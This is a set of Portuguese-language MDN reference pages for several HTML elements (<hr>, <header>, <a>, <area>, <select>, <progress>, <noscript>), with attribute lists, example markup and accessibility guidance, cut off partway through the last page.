{"title":"<hr> - HTML: Linguagem de Marcação de Hipertexto","text":"<hr>\n====\n\nSumário\n-------\n\nO **elemento HTML `<hr>`** representa uma quebra temática entre elementos de nível de parágrafo (por exemplo , uma mudança da cena de uma história, ou uma mudança de tema com uma seção). Nas versões anteriores do HTML, representava uma linha horizontal. Pode continuar sendo exibida como uma linha horizontal nos navegadores, mas agora está definida em termos semânticos, em vez de termos de apresentação.\n\n* *Categorias de conteúdo (en-US)* Fluxo de conteúdo (en-US).\n* *Conteúdo permitido* Nenhum, é um empty element (en-US).\n* *Omissão de Tag* Deve conter a tag de início, mas não precisa ter uma tag de encerramento.\n* *Elementos pai permitidos* Qualquer elemento que aceite fluxo de conteúdo (en-US).\n* *Interface DOM* `HTMLHRElement` (en-US)\nAtributos\n---------\n\nEste elemento inclui os atributos globais (en-US).\n\n`align` \nDeprecated\n\nNon-standard\n\nDefine a regra de alinhamento na página. Se nenhum valor for especificado, o valor padrão é `left`.\n\n`color` \nDeprecated\n\nNon-standard\n\nDenife a regra da cor através do nome da cor ou um valor hexadecimal.\n\n`noshade` \nDeprecated\n\nNon-standard\n\nDeine a regra para não ter sombreamento.\n\n`size` \nDeprecated\n\nNon-standard\n\nDenife a altura, em pixels.\n\n`width` \nDeprecated\n\nNon-standard\n\nDefine a regra de comprimento na página através de um valor em pixel ou porcentagem.\n\nExemplo\n-------\n\n\n```html\n<p>\n  Este é o primeiro parágrafo do texto. Este é o primeiro parágrafo do texto.\n  Este é o primeiro parágrafo do texto. Este é o primeiro parágrafo do texto.\n</p>\n\n<hr />\n\n<p>\n  Este é o segundo parágrafo do texto. Este é o segundo parágrafo do texto. Este\n  é o segundo parágrafo do texto. Este é o segundo parágrafo do texto.\n</p>\n```\n\n\nO HTML acima irá produzir:\n\nEste é o primeiro parágrafo do texto. Este é o primeiro parágrafo do texto. Este é o primeiro parágrafo do texto. Este é o primeiro parágrafo do texto.\n\n---\n\nEste é o segundo parágrafo do texto. Este é o segundo parágrafo do texto. Este é o segundo parágrafo do texto. Este é o segundo parágrafo do texto.\n\nNotas\n-----\n\nPara alterar a aparencia da linha ou as lacunas entre ela e os parágrafos, utilize folhas de estilo em cascata.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-hr-element |\n\nCompatibilidade nos Navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Elemento HTML parágrafo (en-US)"}
{"title":"header (cabeçalho) - HTML: Linguagem de Marcação de Hipertexto","text":"header (cabeçalho)\n==================\n\nSumário\n-------\n\nO **elemento HTML** **`<header>`** representa um grupo de suporte introdutório ou navegacional. Pode conter alguns elementos de cabeçalho mas também outros elementos como um logo, seções de cabeçalho, formulário de pesquisa, e outros.\n\nExperimente\n-----------\n\n> \n> **Note:** **Notas de utilização:**\n> \n> \n> * O elemento `<header>` não é separador de conteúdo (sectioning content), portanto, não introduz uma nova seção no outline.\n> \n> \n> \n\n* *Categoria de conteúdo (en-US)* Flow content (en-US), conteúdo palpável.\n* *Conteúdo permitido*Flow content (en-US), mas não com descendentes de `<header>` ou `<footer>`\n* *Omissão da tag* Nenhuma, as tags de abertura e fechamento são obrigatórias.\n* *Elementos-pai permitidos* Qualquer elemento que aceite flow content (en-US). Note que o elemento `<header>` não deve ser descendente de `<address>`, `<footer>` ou outro elemento `<header>` .\n* *Interface DOM* `HTMLElement` (en-US)\nAtributos\n---------\n\nEste elemento não possui outros atributos além dos atributos globais (en-US), comuns a todos os elementos.\n\nExemplos\n--------\n```\n\n<header>\n  <h1>Título da Página Principal</h1>\n  <img src=\"mdn-logo-sm.png\" alt=\"MDN logo\">\n</header>\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-header-element |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Uma descrição mais detalhada: O elemento header | HTML5 Doctor\n* Outros elementos relacionados a seção: `<body>`, `<nav>`, `<article>`, `<aside>`, `<h1>` (en-US), `<h2>` (en-US), `<h3>` (en-US), `<h4>` (en-US), `<h5>` (en-US), `<h6>` (en-US), `<hgroup>`, `<footer>`, `<section>`, `<address>`;\n* Seções e outlines de um documento HTML5."}
{"title":"<a> - HTML: Linguagem de Marcação de Hipertexto","text":"<a>\n===\n\nO **elemento** **`<a>`** em **HTML** (ou elemento âncora), com o atributo `href` cria-se um hiperligação nas páginas web, arquivos, endereços de emails, ligações na mesma página ou endereços na URL. O conteúdo dentro de cada `<a>` **precisará** indicar o destino do link.\n\nExperimente\n-----------\n\nAtributos\n---------\n\nOs atributos do elemento incluem os atributos globais.\n\n`download`\n\nLeva o usuário a salvar a URL em vez de navegar até ela. Pode ser usado com ou sem um valor:\n\n* Sem um valor, o *browser* irá sugerir um nome de arquivo/extensão, gerado a partir de diversas origens:\n    + O cabeçalho HTTP `Content-Disposition`\n    + O segmento final no path (caminho) da URL\n    + The media type (en-US) (from the (`Content-Type` header, the start of a `data:` URL (en-US), or `Blob.type` for a `blob:` URL)\n* A definição de um valor o sugere como o nome do arquivo. Caracteres `/` e `\\` são convertidos para *underscores* (`_`).Arquivos de sistema talvez proibam alguns caracteres em nomes de arquivos, então o navegador irá ajustar o nome sugerido caso necessário.\n\n> \n> **Note:** **Notes:**- `download` somente funciona para URLs de mesma origem (en-US), ou os esquemas `blob:` e `data:`\n> \n> \n> * Se `Content-Disposition` tiver um diferente `filename` (nome do arquivo) que `download`, o cabeçalho tem prioridade. (Se `Content-Disposition: inline`, Firefox prioriza o cabeçalho enquanto o Chrome escolhe `download`.)\n> \n> \n> \n\n`href`\n\nA URL para a qual o hiperlink aponta. Links não se restrigem a URLs baseadas no protocolo HTTP — eles podem utilizar qualquer tipo de URL suportado pelos browsers:\n\n* Sections of a page with fragment URLs(Seções de página com fragmentos URL)\n* Pieces of media files with media fragments (Pedaços de arquivos de mídia com fragmentos da própria mídia)\n* Números de telefone com `tel:` URLs\n* Email addresses with(Endereço de email com) `mailto:` URLs\n* Alguns navegadores talvez não aguentem certos arranjos em URL, para isso os websites fazem uso do `registerProtocolHandler()` (en-US)\n\n`hreflang`\n\nHints at the human language of the linked URL. No built-in functionality. Allowed values are the same as the global `lang` attribute.\n\n`ping`\n\nUma lista de URLs separadas por espaços. Quando o link é seguido, o brrowser enviará requisições `POST` com o corpo `PING` para as URLs. Typically for tracking.\n\n`referrerpolicy`\nExperimental\n\nQuanto do referrer para ser enviado quando acessar o link. Acesse `Referrer-Policy` para possíveis valores e seus efeitos.\n\n`rel`\n\nThe relationship of the linked URL as space-separated link types (en-US).\n\n`target`\n\nWhere to display the linked URL, as the name for a *browsing context* (a tab, window, or `<iframe>`). The following keywords have special meanings for where to load the URL:\n\n* `_self`: No atual contexto de pesquisa. (Default)\n* `_blank`: Normalmente uma nova aba, porém usuários podem configurar seus navegadores para abrir em uma nova janela.\n* `_parent`: the parent browsing context of the current one. If no parent, behaves as `_self`.\n* `_top`: the topmost browsing context (the \"highest\" context that's an ancestor of the current one). If no ancestors, behaves as `_self`.\n\n> \n> **Note:** Quando usando `target`, adicione `rel=\"noreferrer noopener\"` para evitar \"exploit\" para `window.opener` API;\n> \n> \n> \n\n> \n> **Warning:** **Note:** Linking to another page with `target=\"_blank\"` will run the new page in the same process as your page. If the new page executes JavaScript, your page's performance may suffer. This can also be avoided by using `rel=\"noreferrer noopener\"`.\n> \n> \n> \n\n`type`\n\nHints at the linked URL's format with a MIME type (en-US). No built-in functionality.\n\n### Obsolete attributes\n\n`charset`\n\nHinted at the character encoding of the linked URL.\n\n> \n> **Note:** This attribute is obsolete and **should not be used by authors**. Use the HTTP `Content-Type` header on the linked URL.\n> \n> \n> \n\n`coords`\n\nUsed with the `shape` attribute. A comma-separated list of coordinates.\n\n`name`\n\nWas required to define a possible target location in a page. In HTML 4.01, `id` and `name` could both be used on `<a>`, as long as they had identical values.\n\n> \n> **Note:** Use the global attribute `id` instead.\n> \n> \n> \n\n`rev`\n\nSpecified a reverse link; the opposite of the `rel` attribute. Deprecated for being very confusing.\n\n`shape`\n\nThe shape of the hyperlink's region in an image map.\n\n> \n> **Note:** Use the `<area>` element for image maps instead.\n> \n> \n> \n\nProperties\n----------\n\n|  |  |\n| --- | --- |\n| Content categories | Flow content,\n phrasing content,\n interactive content, palpable content.\n  |\n| Permitted content | Transparent, containing either\n flow content\n (excluding\n interactive content) or\n phrasing content.\n  |\n| Tag omission | None, both the starting and ending tag are mandatory. |\n| Permitted parents | \n Any element that accepts\n phrasing content, or any element that accepts\n flow content, but not other `<a>` elements.\n  |\n| Implicit ARIA role | `link (en-US)` when `href` attribute is\n present, otherwise\n no corresponding role |\n| Permitted ARIA roles | When `href` attribute is present:* `button (en-US)`\n* `checkbox (en-US)`\n* `menuitem (en-US)`\n* `menuitemcheckbox (en-US)`\n* `menuitemradio (en-US)`\n* `option (en-US)`\n* `radio (en-US)`\n* `switch (en-US)`\n* `tab (en-US)`\n* `treeitem (en-US)`\n\nWhen `href` attribute is not present:* any\n |\n| DOM interface | `HTMLAnchorElement` (en-US) |\n\nExamples\n--------\n\n### Linking to an absolute URL\n\n#### HTML\n\n\n```html\n<a href=\"https://www.mozilla.com\"> Mozilla </a>\n```\n\n\n#### Result\n\n### Linking to relative URLs\n\n#### HTML\n\n\n```html\n<a href=\"//example.com\">Scheme-relative URL</a>\n<a href=\"/pt-BR/docs/Web/HTML\">Origin-relative URL</a>\n<a href=\"./p\">Directory-relative URL</a>\n```\n\n\n```\na {\n  display: block;\n  margin-bottom: 0.5em;\n}\n```\n\n\n#### Result\n\n### Linking to an element on the same page\n\n\n```html\n<!-- <a> element links to the section below -->\n<p><a href=\"#Section\\_further\\_down\"> Jump to the heading below </a></p>\n\n<!-- Heading to link to -->\n<h2 id=\"Section\\_further\\_down\">Section further down</h2>\n```\n\n\n> \n> **Note:** You can use `href=\"#top\"` or the empty fragment (`href=\"#\"`) to link to the top of the current page, as defined in the HTML specification.\n> \n> \n> \n\n### Linking to an email address\n\nTo create links that open in the user's email program to let them send a new message, use the `mailto:` scheme:\n\n\n```html\n<a href=\"mailto:nowhere@mozilla.org\">Send email to nowhere</a>\n```\n\n\nFor details about `mailto:` URLs, such as including a subject or body, see Email links (en-US) or RFC 6068.\n\n### Linking to telephone numbers\n\n\n```html\n<a href=\"tel:+49.157.0156\">+49 157 0156</a>\n<a href=\"tel:+1(555)5309\">(555) 5309</a>\n```\n\n\n`tel:` link behavior varies with device capabilities:\n\n* Cellular devices autodial the number.\n* Most operating systems have programs that can make calls, like Skype or FaceTime.\n* Websites can make phone calls with `registerProtocolHandler` (en-US), such as `web.skype.com`.\n* Other behaviors include saving the number to contacts, or sending the number to another device.\n\nSee RFC 3966 for syntax, additional features, and other details about the `tel:` URL scheme.\n\n### Using the download attribute to save a <canvas> as a PNG\n\nTo save a `<canvas>` element's contents as an image, you can create a link with a `download` attribute and the canvas data as a `data:` URL:\n\n#### Example painting app with save link\n\n##### HTML\n\n\n```html\n<p>\n  Paint by holding down the mouse button and moving it.\n  <a href=\"\" download=\"my\\_painting.png\">Download my painting</a>\n</p>\n\n<canvas width=\"300\" height=\"300\"></canvas>\n```\n\n\n##### CSS\n\n\n```css\nhtml {\n  font-family: sans-serif;\n}\ncanvas {\n  background: #fff;\n  border: 1px dashed;\n}\na {\n  display: inline-block;\n  background: #69c;\n  color: #fff;\n  padding: 5px 10px;\n}\n```\n\n\n##### JavaScript\n\n\n```js\nvar canvas = document.querySelector(\"canvas\"),\n  c = canvas.getContext(\"2d\");\nc.fillStyle = \"hotpink\";\n\nfunction draw(x, y) {\n  if (isDrawing) {\n    c.beginPath();\n    c.arc(x, y, 10, 0, Math.PI \\* 2);\n    c.closePath();\n    c.fill();\n  }\n}\n\ncanvas.addEventListener(\"mousemove\", (event) =>\n  draw(event.offsetX, event.offsetY),\n);\ncanvas.addEventListener(\"mousedown\", () => (isDrawing = true));\ncanvas.addEventListener(\"mouseup\", () => (isDrawing = false));\n\ndocument\n  .querySelector(\"a\")\n  .addEventListener(\n    \"click\",\n    (event) => (event.target.href = canvas.toDataURL()),\n  );\n```\n\n\n##### Result\n\nSecurity and privacy\n--------------------\n\n`<a>` elements can have consequences for users' security and privacy. See `Referer` header: privacy and security concerns (en-US) for information.\n\nUsing `target=\"_blank\"` without `rel=\"noreferrer\"` and `rel=\"noopener\"` makes the website vulnerable to `window.opener` (en-US) API exploitation attacks (vulnerability description).\n\nAccessibility\n-------------\n\n### Strong link text\n\n**The content inside a link should indicate where the link goes**, even out of context.\n\n#### Inaccessible, weak link text\n\nA sadly common mistake is to only link the words \"click here\" or \"here\":\n\n\n```html\n<p>Learn more about our products <a href=\"/products\">here</a>.</p>\n```\n\n\n#### Strong link text\n\nLuckily, this is an easy fix, and it's actually shorter than the inaccessible version!\n\n\n```html\n<p>Learn more <a href=\"/products\">about our products</a>.</p>\n```\n\n\nAssistive software have shortcuts to list all links on a page. However, strong link text benefits all users — the \"list all links\" shortcut emulates how sighted users quickly scan pages.\n\n### onclick events\n\nAnchor elements are often abused as fake buttons by setting their `href` to `#` or `javascript:void(0)` to prevent the page from refreshing, then listening for their `click` events .\n\nThese bogus `href` values cause unexpected behavior when copying/dragging links, opening links in a new tab/window, bookmarking, or when JavaScript is loading, errors, or is disabled. They also convey incorrect semantics to assistive technologies, like screen readers.\n\nUse a `<button>` instead. In general, **you should only use a hyperlink for navigation to a real URL**.\n\n### External links and linking to non-HTML resources\n\nLinks that open in a new tab/window via `target=\"_blank\"`, or links that point to a download file should indicate what will happen when the link is followed.\n\nPeople experiencing low vision conditions, navigating with the aid of screen reading technology, or with cognitive concerns may be confused when a new tab, window, or application opens unexpectedly. Older screen-reading software may not even announce the behavior.\n\n#### Link that opens a new tab/window\n\n\n```html\n<a target=\"\\_blank\" href=\"https://www.wikipedia.org\">\n  Wikipedia (opens in new tab)\n</a>\n```\n\n\n#### Link to a non-HTML resource\n\n\n```html\n<a href=\"2017-annual-report.ppt\"> 2017 Annual Report (PowerPoint) </a>\n```\n\n\nIf an icon is used to signify link behavior, make sure it has alt text:\n\n\n```html\n<a target=\"\\_blank\" href=\"https://www.wikipedia.org\">\n  Wikipedia\n  <img alt=\"(opens in new tab)\" src=\"newtab.svg\" />\n</a>\n\n<a href=\"2017-annual-report.ppt\">\n  2017 Annual Report\n  <img alt=\"(PowerPoint file)\" src=\"ppt-icon.svg\" />\n</a>\n```\n\n\n* WebAIM: Links and Hypertext - Hypertext Links\n* MDN / Understanding WCAG, Guideline 3.2 (en-US)\n* G200: Opening new windows and tabs from a link only when necessary\n* G201: Giving users advanced warning when opening a new window\n### Skip links\n\nA **skip link** is a link placed as early as possible in `<body>` content that points to the beginning of the page's main content. Usually, CSS hides a skip link offscreen until focused.\n```\n\n<body>\n  <a href=\"#content\">Skip to main content</a>\n\n  <header>\n    …\n  </header>\n\n  <main id=\"content\"> <!-- The skip link jumps to here -->\n```\n\n\n\n```css\n.skip-link {\n  position: absolute;\n  top: -3em;\n  background: #fff;\n}\n.skip-link:focus {\n  top: 0;\n}\n```\n\n\nSkip links let keyboard users bypass content repeated throughout multiple pages, such as header navigation.\n\nSkip links are especially useful for people who navigate with the aid of assistive technology such as switch control, voice command, or mouth sticks/head wands, where the act of moving through repetitive links can be laborious.\n\n* WebAIM: \"Skip Navigation\" Links\n* How-to: Use Skip Navigation links\n* MDN / Understanding WCAG, Guideline 2.4 explanations (en-US)\n* Understanding Success Criterion 2.4.1\n### Size and proximity\n\n#### Size\n\nInteractive elements, like links, should provide an area large enough that it is easy to activate them. This helps a variety of people, including those with motor control issues and those using imprecise inputs such as a touchscreen. A minimum size of 44×44 CSS pixels is recommended.\n\nText-only links in prose content are exempt from this requirement, but it's still a good idea to make sure enough text is hyperlinked to be easily activated.\n\n* Understanding Success Criterion 2.5.5: Target Size\n* Target Size and 2.5.5\n* Quick test: Large touch targets\n\n#### Proximity\n\nInteractive elements, like links, placed in close visual proximity should have space separating them. Spacing helps people with motor control issues, who may otherwise accidentally activate the wrong interactive content.\n\nSpacing may be created using CSS properties like `margin`.\n\n* Hand tremors and the giant-button-problem\nSpecifications\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-a-element |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* `<link>` is similar to `<a>`, but for metadata hyperlinks that are invisible to users.\n* `:link` is a CSS pseudo-class that will match `<a>` elements with valid `href` attributes."}
{"title":"<area> - HTML: Linguagem de Marcação de Hipertexto","text":"<area>\n======\n\nO *HTML `<area>` elemento* define uma região hot-spot em uma imagem, e, opcionalmente, associa-lo com um link de hipertexto (en-US). Este elemento é usado somente dentro de um `<map>` elemento.\n\n* *As categorias de conteúdo (en-US)* de conteúdo de fluxo (en-US) , conteúdo fraseado (en-US) .\n* *Permitida conteúdo* vazio; este é um elemento vazio.\n* *Tag omissão* None, both the starting and ending tag are mandatory.\n* *Permitida elementos pai* Qualquer elemento que aceita conteúdo fraseado (en-US) . O `<area>` elemento deve ter um ancestral `<mapa>`, mas ele não precisa ser um pai direta.\n* *Interface DOM* `HTMLAreaElement` (en-US)\nAtributos\n---------\n\nEste elemento inclui os atributos globais (en-US).\n\n`accesskey`\n\nEspecifica um acelerador de navegação pelo teclado para o elemento. Pressionando ALT ou uma chave semelhante, em associação com o caractere especificado seleciona a forma de controle correlacionada com a seqüência de teclas. Os projetistas de página são avisados para evitar sequências de teclas já vinculados aos navegadores. Este atributo é global desde HTML5.\n\n`alt`\n\nUma alternativa seqüência de texto para exibir em navegadores que não exibem imagens. O texto deve ser formulada de modo a que apresenta o usuário com o mesmo tipo de escolha como a imagem iria oferecer quando exibido sem o texto alternativo. Em HTML4, este atributo é necessário, mas pode ser uma string vazia (\"\"). Em HTML5, este atributo é necessário apenas se o **href** atributo é usado.\n\n`coords`\n\nUm conjunto de valores que especificam as coordenadas da região de hot-spot. O número e o significado dos valores dependem do valor especificado para a **forma** de atributo. Para um `rect` forma ou retângulo, o **coords** valor é de dois pares x, y: left, top, right, e bottom. Para um `círculo` forma, o valor é `x, y, r` onde `x, y` é um par especificando o centro do círculo e `r` é um valor para o raio. Para um `poli` ou polígono <forma>, o valor é um conjunto de pares x, y de cada ponto no polígono: `X1, Y1, X2, Y2, x3, y3`, e assim por diante. Em HTML4, os valores são números de pixels ou porcentagens, se um sinal de porcentagem (%) é anexado; em HTML5, os valores são números de pixels CSS.\n\n`download`\n\nEste atributo, se presente, indica que o autor tem a intenção que o hiperlink seja usado para o download de um recurso. Consulte `<a>` para uma descrição completa da `download` atributo.\n\n`href`\n\nA meta de hyperlink para a área. Seu valor é uma URL válida. Em HTML4, quer este atributo ou o **nohref** atributo deve estar presente no elemento. Em HTML5, este atributo pode ser omitido; em caso afirmativo, o elemento de área não representa um hiperlink.\n\n`hreflang`\n\nIndica o idioma do recurso ligado. Os valores permitidos são determinados por BCP47 . Utilize este atributo somente se a **href** atributo está presente.\n\n`name`\n\nDefina um nome para a área clicável de modo que possa ser programado por navegadores mais antigos.\n\n`media`\n\nUma dica da mídia para o qual o recurso ligado foi projetado, por exemplo `impressão e tela` . Se omitido, o padrão é `tudo` . Utilize este atributo somente se a **href** atributo está presente.\n\n`nohref`\n\nIndica que não existe hyperlink para a área associada. Ou este atributo ou a **href** atributo deve estar presente no elemento.\n\n> \n> **Note:** **Nota de Uso:** Este atributo é obsoleto em HTML5, em vez omitindo o atributo **href** é suficiente.\n> \n> \n> \n\n`rel`\n\nPara âncoras contendo o **href** atributo, este atributo especifica a relação do objeto de destino para o objeto link. O valor é uma lista de valores de relacionamento, separados por vírgulas. Os valores e sua semântica será registrado por alguma autoridade que poderia ter significado para o autor do documento. A relação padrão, se nenhum outro é dado, é nula. Utilize este atributo somente se a **href** atributo está presente.\n\n`shape`\n\nA forma do ponto de acesso associado. As especificações para colar 5 e HTML 4 definem os valores `rect` , que define uma região rectangular; `círculo` , o qual define uma região circular; `poli` , que define um polígono; e `padrão` , o que indica toda a região além de quaisquer formas definidas. Muitos navegadores, principalmente o Internet Explorer 4 e superior, apoio `circ` , `polígono` , e `retângulo` como valores válidos para **forma** ; estes valores são \nNon-standard\n.\n\n`tabindex`\n\nUm valor numérico que especifica a posição da área definida na ordem de tabulação browser. Este atributo é global em HTML5.\n\n`target`\n\nEste atributo especifica onde exibir o recurso ligado. Em HTML4, este é o nome de, ou uma palavra-chave para um quadro. Em HTML5, que é um nome ou palavra-chave para um *contexto de navegação* (por exemplo, aba, janela ou quadro embutido). As seguintes palavras-chave têm significados especiais:\n\n* `_self` : Carregar a resposta no mesmo quadro HTML4 (ou contexto de navegação HTML5), como o atual. Este valor é o padrão se o atributo não é especificado.\n* `_blank` : Coloque a resposta em uma nova janela sem nome HTML4 ou contexto de navegação HTML5.\n* `_parent` : Carregar a resposta para o pai HMTL4 conjunto de quadros do quadro atual ou HTML5 pai contexto de navegação do atual. Se não houver nenhum pai, esta opção se comporta da mesma maneira que `_self` .\n* `_top` : Em HTML4: Carregar a resposta para a janela completa, originais, cancelando todos os outros quadros. Em HTML5: Carregar a resposta para o contexto de navegação de nível superior (ou seja, o contexto de navegação que é um ancestral do atual, e não tem pai). Se não houver nenhum pai, esta opção se comporta da mesma maneira que `_self` .\n\nUtilize este atributo somente se a **href** atributo está presente.\n\n`type`\n\nEste atributo especifica o tipo de mídia na forma de um tipo MIME para o destino do link. Geralmente, este é fornecido informações estritamente como consultivo; no entanto, no futuro, um navegador pode adicionar um pequeno ícone para os tipos de multimédia. Por exemplo, um navegador pode adicionar um pequeno ícone de alto-falante quando o tipo está definido para áudio / wav. Para obter uma lista completa de tipos MIME reconhecidos, consulte https://www.w3.org/TR/html4/references.html # REF-MIMETYPES . Utilize este atributo somente se a **href** atributo está presente.\n\nExemplo\n-------\n\n\n```html\n<mapa name=\"primary\">\n  <area shape=\"circle\" coords=\"200,250,25\" href=\"another.htm\" />\n  <area shape=\"default\" nohref />\n</map>\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-area-element |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nNotas\n-----\n\nDe acordo com o HTML 3.2, 4.0 e 5 especificações, a tag de fechamento `</ área>` é proibido.\n\nA especificação XHTML 1.0 requer uma barra: `<area />` .\n\nOs **ID** , **classe** e **estilo** atributos têm o mesmo significado que os atributos essenciais definidas na especificação HTML 4, mas somente Netscape e Microsoft defini-los.\n\nNetscape 1 de nível não entendem o **alvo** atributo que se refere aos quadros.\n\nHTML 3.2 define apenas **alt** , **coords** , **href** , **nohref** e shape ."}
{"title":"<select> - HTML: Linguagem de Marcação de Hipertexto","text":"<select>\n========\n\nSumário\n-------\n\nO elemento HTML *select* (<select>) representa um controle que apresenta um menu de opções. As opções dentro do menu são representadas pelo elemento `<option>`, que podem ser agrupados por elementos ``<optgroup>``. As opções podem ser pré-selecionadas para o usuário.\n\nContexto de uso\n---------------\n\n| Categorias de conteúdo | conteúdo fluido, conteúdo fraseado, conteúdo interativo, listado, rotulável, resetável, e enviável associado a formulários |\n| --- | --- |\n| Conteúdo permitido | Zero ou mais elementos `<option>` ou `<optgroup>`. |\n| Omissão de tag | Nenhuma, tanto tag de início quanto de fim são obrigatórias |\n| Elementos pai permitidos | qualquer elemento que aceite conteúdo fraseado |\n\nAtributos\n---------\n\nEste elemento inclui os atributos globais.\n\n`autofocus`\n\nEste atributo permite especificar que um controle de formulário deve ter foco de entrada quando a página é carregada, a não ser que o usuário o substitua, por exemplo digitando em um controle diferente. Somente um elemento de formulário em um documento pode ter o atributo `autofocus`, que é booleano.\n\n`disabled`\n\nEste atributo booleano indica que o usuário não pode interagir com o controle. Caso esse atributo não seja especificado, o controle herda a configuração do elemento que o contém, por exemplo o elemento `fieldset`; se não há nenhum elemento que o contém com o atributo `disabled`, então o controle está habilitado.\n\n`form`\n\nO elemento form ao qual o elemento select é associado (algo como \"formulário dono\" do select). Se este atributo for especificado, seu valor deve ser o ID de um elemento form no mesmo documento. Isso permite que você coloque elementos select em qualquer lugar dentro do documento, e não apenas como descendentes de elementos form.\n\n`multiple`\n\nEste atributo booleano indica que várias opções podem ser selecionadas na lista. Se não for especificado, apenas uma opção poderá ser selecionada de cada vez.\n\n`name`\n\nO nome do controle\n\n`required`\n\nUm atributo booleano que indica que uma opção com um valor de string que não esteja vazia deve ser selecionada.\n\n`size`\n\nSe o controle é apresentado como uma list box com scroll, este atributo representa o número de linhas na list box que devem estar visíveis num determinado momento. Os navegadores não são obrigados a apresentar elementos select com uma list box scroll. O valor padrão é 0.\n\n\n> \n> **Note:** **Nota sobre o Firefox:** De acordo com a especificação HTML5, o valor padrão para o size deveria ser 1; no entanto, na prática, notou-se que isso quebrava alguns sites, e nenhum outro navegador faz isso no momento, então a Mozilla escolheu por continuar devolvendo 0 por enquanto no Firefox.\n> \n> \n> \n\nInterface DOM\n-------------\n\nEste elemento implementa a interface `HTMLSelectElement` (en-US).\n\nExemplos\n--------\n\n\n```html\n<!-- O segundo valor estará selecionado inicialmente -->\n<select name=\"select\">\n  <option value=\"valor1\">Valor 1</option>\n  <option value=\"valor2\" selected>Valor 2</option>\n  <option value=\"valor3\">Valor 3</option>\n</select>\n```\n\n### Notas\n\nO conteúdo deste elemento é estático e não editável (en-US).\n\nA seguir um exemplo de como simular uma lista de seleção com opções editáveis, **mas esteja ciente** de que leitores de tela e dispositivos de acessibilidade *não* interpretarão o formulário corretamente; este exemplo seria HTML inválido se os elementos corretos fossem usados:\n\nEste é um exemplo de um select editável usando um `<fieldset>` de botões de opção e caixas de texto (**escrito somente com CSS**, sem JavaScript),\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-select-element |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Outros elementos relacionados a formulários: `<form>` (en-US), `<legend>`, `<label>`, `<button>`, `<option>`, `<datalist>`, `<optgroup>`, `<fieldset>`, `<textarea>`, `<input>`, `<output>`, `<progress>` e `<meter>`."}
{"title":"progress - HTML: Linguagem de Marcação de Hipertexto","text":"progress\n========\n\no elemento HTML progress (<progress>) é usado para visualizar o progresso de uma tarefa. Embora as especifidades de como é mostrado ficam a cargo do desenvolvedor, tipicamente, é mostrado como uma barra de progresso.\n\nContexto de uso\n---------------\n\n| Conteúdo permitido | Conteúdo de texto |\n| --- | --- |\n| Omissão de Tag | Nenhum, ambas as tags (abertura e encerramento) são obrigatórias |\n| Elemento pai permitido | Conteúdo fraseado (phrasing content), mas não deve haver descendentes do elemento progress |\n| Documento normativo | HTML5, seção 4.10.16 |\n\nAtributos\n---------\n\nComo todos os outros elementos HTML, este elemento tem os atributos globais (global attributes)\n\n`max`\n\nEste atributo descreve quanto trabalho é demandado pela tarefa indicada pelo elemento progress.\n\n`value`\n\nEste atributo especifica quanto da tarefa foi concluído. Se este não existir, a barra de progresso é indeterminada; isso indica que uma atividade está em progresso sem previsão de quanto tempo é esperado para que seja concluída.\n\nVocê pode usar a propriedade `orient` (en-US) para especificar se a barra de progresso deve ser renderizada horizontalmente (padrão) ou verticalmente. A pseudo-classe `:indeterminate` (en-US) pode ser associada a barras de progresso indeterminadas.\n\nInterface DOM\n-------------\n\nEste elemento implementa a interface HTMLProgressElement.\n\nExemplos\n--------\n\n\n```html\n<progress value=\"70\" max=\"100\">70 %</progress>\n```\n\n### Resultado\n\nView Live Examples\n\nNo Mac OS X, o progresso resultante deve aparecer assim:\n\n![progress-1.png](/pt-BR/docs/Web/HTML/Element/progress/progress-1.png)\n\nNo Windows, o progresso resultante deve aparecer assim:\n\n![progress-firefox.JPG](/pt-BR/docs/Web/HTML/Element/progress/progress-firefox.jpg)\n\n### Exemplos adicionais\n\nVeja `orient` (en-US).\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `orient` (en-US)\n* `:indeterminate` (en-US)"}
{"title":"<noscript> - HTML: Linguagem de Marcação de Hipertexto","text":"<noscript>\n==========\n\nResumo\n------\n\nO **Elemento HTML `<noscript>`** define uma seção de html a ser inserida se um tipo de script não é suportado pela página ou se o script está desativado no navegador.\n\n* *Categorias de conteúdo (en-US)* Metadata content (en-US), flow content (en-US), phrasing content (en-US).\n* *Conteúdo permitido* Quando scripting está desabilitado e quando este é um descendente do elemento `<head>` : em qualquer ordem, de zero ou mais elementos `<link>`, zero ou mais elementos `<style>`, e zero ou mais elementos `<meta>`.\n Quando o script está desativado e quando não é descendente do elemento `<head>` : qualquer conteúdo transparente, mas nenhum elemento `<noscript>` entre seus descendentes.\n Nos outros casos: conteúdo de fluxo ou conteúdo de texto.\n* *Omissão da tag* Tags inicial e final obrigatórias.\n* *Elemento pai permitidos* Qualquer elemento que aceite 'conteúdo de texto (en-US)' (phrasing content (en-US)), se não há um elemento `<noscript>` anterior ou em um elemento `<head>` (mas somente em um documento HTML), e também se não existe elemento `<noscript>` anterior.\n* *Interface DOM* `HTMLElement` (en-US)\nAtributos\n---------\n\nEste elemento só inclui os atributos globais (en-US).\n\nExemplo\n-------\n\n\n```html\n<noscript>\n  <!-- referência a arquivo externo -->\n  <a href=\"http://www.mozilla.com/\">Link Externo</a>\n</noscript>\n<p>Rocks!</p>\n```\n\n### Resultado com o script ativado\n\nRocks!\n\n### Resultado com o script desativado\n\nLink Externo\n\nRocks!\n\nEspecificações\n--------------\n\n| 